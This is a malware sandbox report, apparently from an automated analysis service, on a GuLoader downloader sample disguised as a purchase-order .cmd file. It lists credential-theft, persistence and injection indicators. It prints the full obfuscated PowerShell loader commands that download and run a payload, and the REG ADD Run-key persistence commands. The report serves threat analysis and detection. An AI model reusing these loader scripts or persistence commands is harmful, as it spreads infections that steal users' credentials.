guloader | 1dc7435dee3d361dd7de77f4b0795c28e2d4f73a4b16132822260002742e5096

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 10:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd
Size 4KB
Sample240902-mst4maybrk
SHA256 a16e6ab8d42469af04bbab862b8676b048cd5a597c4bd2691e604ff36b532958
MD5 1ee8086d368635f0d555947f57594733
SHA1 efb679be50e6c248604a6776495d84606e0ff87f
SHA512 cb57d866414409c5ef0cfdd1c56fc296c10737f75f13d5cadd1b3bff9cc7dd2c8a658feb4c7c1226f84bf06cb8e1d8fb271749ee48b5d98ca9e765d799b2c863
SSDEEP 96:mQ+3LAMeI47OSNPzW3sVEaOIvBUGevTGS2KufGyK1fp:mQqVs71PSuGvTlufGV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access discovery downloader execution persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2080-92-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2932-94-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2464-95-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2464-95-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2080-92-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	4828	powershell.exe
38	4828	powershell.exe
61	4872	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4872	powershell.exe
1840	powershell.exe
4828	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lungy = "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\\Portefljernes\\').Skuespiller;%pigeonholes% ($Pseudospectral)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bilateralities = "%Arrestationernes110% -w 1 $Faucals83=(Get-ItemProperty -Path 'HKCU:\\sttyskers\\').talevant;%Arrestationernes110% ($Faucals83)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

pid	Process
5060	wab.exe
5060	wab.exe
2180	wab.exe
2180	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2176	powershell.exe
5060	wab.exe
1840	powershell.exe
2180	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2176 set thread context of 5060	2176	powershell.exe	102
PID 5060 set thread context of 2080	5060	wab.exe	111
PID 5060 set thread context of 2464	5060	wab.exe	112
PID 5060 set thread context of 2932	5060	wab.exe	113
PID 1840 set thread context of 2180	1840	powershell.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2296	reg.exe
2728	reg.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4828	powershell.exe
4828	powershell.exe
2176	powershell.exe
2176	powershell.exe
2176	powershell.exe
4872	powershell.exe
4872	powershell.exe
2080	wab.exe
2080	wab.exe
2932	wab.exe
2932	wab.exe
2080	wab.exe
2080	wab.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe
2180	wab.exe
2180	wab.exe
2180	wab.exe
2180	wab.exe
2180	wab.exe
2180	wab.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2176	powershell.exe
5060	wab.exe
5060	wab.exe
5060	wab.exe
5060	wab.exe
1840	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	2932	wab.exe
Token: SeDebugPrivilege	1840	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5060	wab.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 4828	2800	cmd.exe	84
PID 2800 wrote to memory of 4828	2800	cmd.exe	84
PID 4828 wrote to memory of 1440	4828	powershell.exe	87
PID 4828 wrote to memory of 1440	4828	powershell.exe	87
PID 4828 wrote to memory of 2176	4828	powershell.exe	100
PID 4828 wrote to memory of 2176	4828	powershell.exe	100
PID 4828 wrote to memory of 2176	4828	powershell.exe	100
PID 2176 wrote to memory of 1840	2176	powershell.exe	101
PID 2176 wrote to memory of 1840	2176	powershell.exe	101
PID 2176 wrote to memory of 1840	2176	powershell.exe	101
PID 2176 wrote to memory of 5060	2176	powershell.exe	102
PID 2176 wrote to memory of 5060	2176	powershell.exe	102
PID 2176 wrote to memory of 5060	2176	powershell.exe	102
PID 2176 wrote to memory of 5060	2176	powershell.exe	102
PID 2176 wrote to memory of 5060	2176	powershell.exe	102
PID 5060 wrote to memory of 1384	5060	wab.exe	103
PID 5060 wrote to memory of 1384	5060	wab.exe	103
PID 5060 wrote to memory of 1384	5060	wab.exe	103
PID 1384 wrote to memory of 2296	1384	cmd.exe	105
PID 1384 wrote to memory of 2296	1384	cmd.exe	105
PID 1384 wrote to memory of 2296	1384	cmd.exe	105
PID 5060 wrote to memory of 2636	5060	wab.exe	106
PID 5060 wrote to memory of 2636	5060	wab.exe	106
PID 5060 wrote to memory of 2636	5060	wab.exe	106
PID 2636 wrote to memory of 4872	2636	WScript.exe	107
PID 2636 wrote to memory of 4872	2636	WScript.exe	107
PID 2636 wrote to memory of 4872	2636	WScript.exe	107
PID 4872 wrote to memory of 1940	4872	powershell.exe	109
PID 4872 wrote to memory of 1940	4872	powershell.exe	109
PID 4872 wrote to memory of 1940	4872	powershell.exe	109
PID 5060 wrote to memory of 2676	5060	wab.exe	110
PID 5060 wrote to memory of 2676	5060	wab.exe	110
PID 5060 wrote to memory of 2676	5060	wab.exe	110
PID 5060 wrote to memory of 2080	5060	wab.exe	111
PID 5060 wrote to memory of 2080	5060	wab.exe	111
PID 5060 wrote to memory of 2080	5060	wab.exe	111
PID 5060 wrote to memory of 2080	5060	wab.exe	111
PID 5060 wrote to memory of 2464	5060	wab.exe	112
PID 5060 wrote to memory of 2464	5060	wab.exe	112
PID 5060 wrote to memory of 2464	5060	wab.exe	112
PID 5060 wrote to memory of 2464	5060	wab.exe	112
PID 5060 wrote to memory of 2932	5060	wab.exe	113
PID 5060 wrote to memory of 2932	5060	wab.exe	113
PID 5060 wrote to memory of 2932	5060	wab.exe	113
PID 5060 wrote to memory of 2932	5060	wab.exe	113
PID 4872 wrote to memory of 1840	4872	powershell.exe	114
PID 4872 wrote to memory of 1840	4872	powershell.exe	114
PID 4872 wrote to memory of 1840	4872	powershell.exe	114
PID 1840 wrote to memory of 2056	1840	powershell.exe	115
PID 1840 wrote to memory of 2056	1840	powershell.exe	115
PID 1840 wrote to memory of 2056	1840	powershell.exe	115
PID 1840 wrote to memory of 2180	1840	powershell.exe	116
PID 1840 wrote to memory of 2180	1840	powershell.exe	116
PID 1840 wrote to memory of 2180	1840	powershell.exe	116
PID 1840 wrote to memory of 2180	1840	powershell.exe	116
PID 1840 wrote to memory of 2180	1840	powershell.exe	116
PID 2180 wrote to memory of 2816	2180	wab.exe	117
PID 2180 wrote to memory of 2816	2180	wab.exe	117
PID 2180 wrote to memory of 2816	2180	wab.exe	117
PID 2816 wrote to memory of 2728	2816	cmd.exe	119
PID 2816 wrote to memory of 2728	2816	cmd.exe	119
PID 2816 wrote to memory of 2728	2816	cmd.exe	119

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
    3⤵
    PID:1440
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1840
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5060
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1384
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2296
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Andragendet8.vbs"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2636
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$alismataceae='SUBsTR';$Lotah++;}$alismataceae+='ing';Function Viscometres($Rubellosis){$Overdaadigt=$Rubellosis.Length-$Lotah;For( $dekanterendes=2;$dekanterendes -lt $Overdaadigt;$dekanterendes+=3){$Firblads159+=$Rubellosis.$alismataceae.'Invoke'( $dekanterendes, $Lotah);}$Firblads159;}function Tilfredsstillelse($konerne){ . ($Hemibasidiomycetes) ($konerne);}$Annegretes=Viscometres 'BuMVio.lzNyiEfl,ilPraPr/Sn5Te.Fr0f ,l(gaW Ti.anSpds o,aw asFi h N aTAs z1,a0Sy.ud0Bi;bi TpW ,iOpnV,6Te4 C; r Bix P6Ud4Ng; ,trUnv ,: .1Sk2,r1,l.Di0Va),n ,GPre .cSkk oG,/Sm2Fa0R.1Ug0 .0ap1So0 R1Ge VeFS.iSar deStfrioRaxKu/ 1 P2,h1Os. .0 , ';$Milieuplanerne=Viscometres 'YoUVesLreTerPr-W A,rgRhe,yn,ct.u ';$Bageriers=Viscometres 'EnhFotAnt p L:Re/.l/IlcN.p.oaJunS.e lC.-Sma ndD.m ,iOpnT.h uoPesF t E..fcU.oKom.a/DeS PtN emevChnSts T1Ta7 C9Si.R mYoiAux.o ';$Arish=Viscometres 'Se>Re ';$Hemibasidiomycetes=Viscometres 'AmiGeePrxUd ';$Svaerd='Incisal';$dekanterendesndoneser = Viscometres 'w,er,cExh eoCh F %ReaInpCap dL aP,tU.aMo%H.\ChBLie.olAsi Un SdToaDe1Ch0 .3 .XoETofInt,t ,&Co& S SeMec EhS.o,i Gltuf ';Tilfredsstillelse (Viscometres 'Me$.ig olBloEdbGua.llD,:HiSEtt Mo AnS.e Er.foNioLatE = S(ArcTym.edWl M / rc U K$ ndD,e ,k GaKanEftI eOprT.e onOudHne.osTan,idPuo,on LeKes ieNurLs),f ');Tilfredsstillelse (Viscometres 'ta$Ovg klSpoKrbS aUnl ,:JoL ieH v de draneYed TeResBo=I.$ KBZia VgreeR,r,ei eePyr Eshy.TrsT,pErl.aitat,e( .$,oA .rRaiEnsSch O)Ph ');Tilfredsstillelse (Viscometres 'T,[JoN LeKrt.n.VaS e ur v,oiSic .eCaP,co Ki .nKntD,MFiacrn CaVagAse erR ] e:De:,oS eAfcHauFrrF iEntPryTaPLirBeoMet soPecM.o.il K Es=M ,d[ ONSte .tSj. ,SAfeN,cKruT r TiUntcoysoPSkr Aot t oHjc 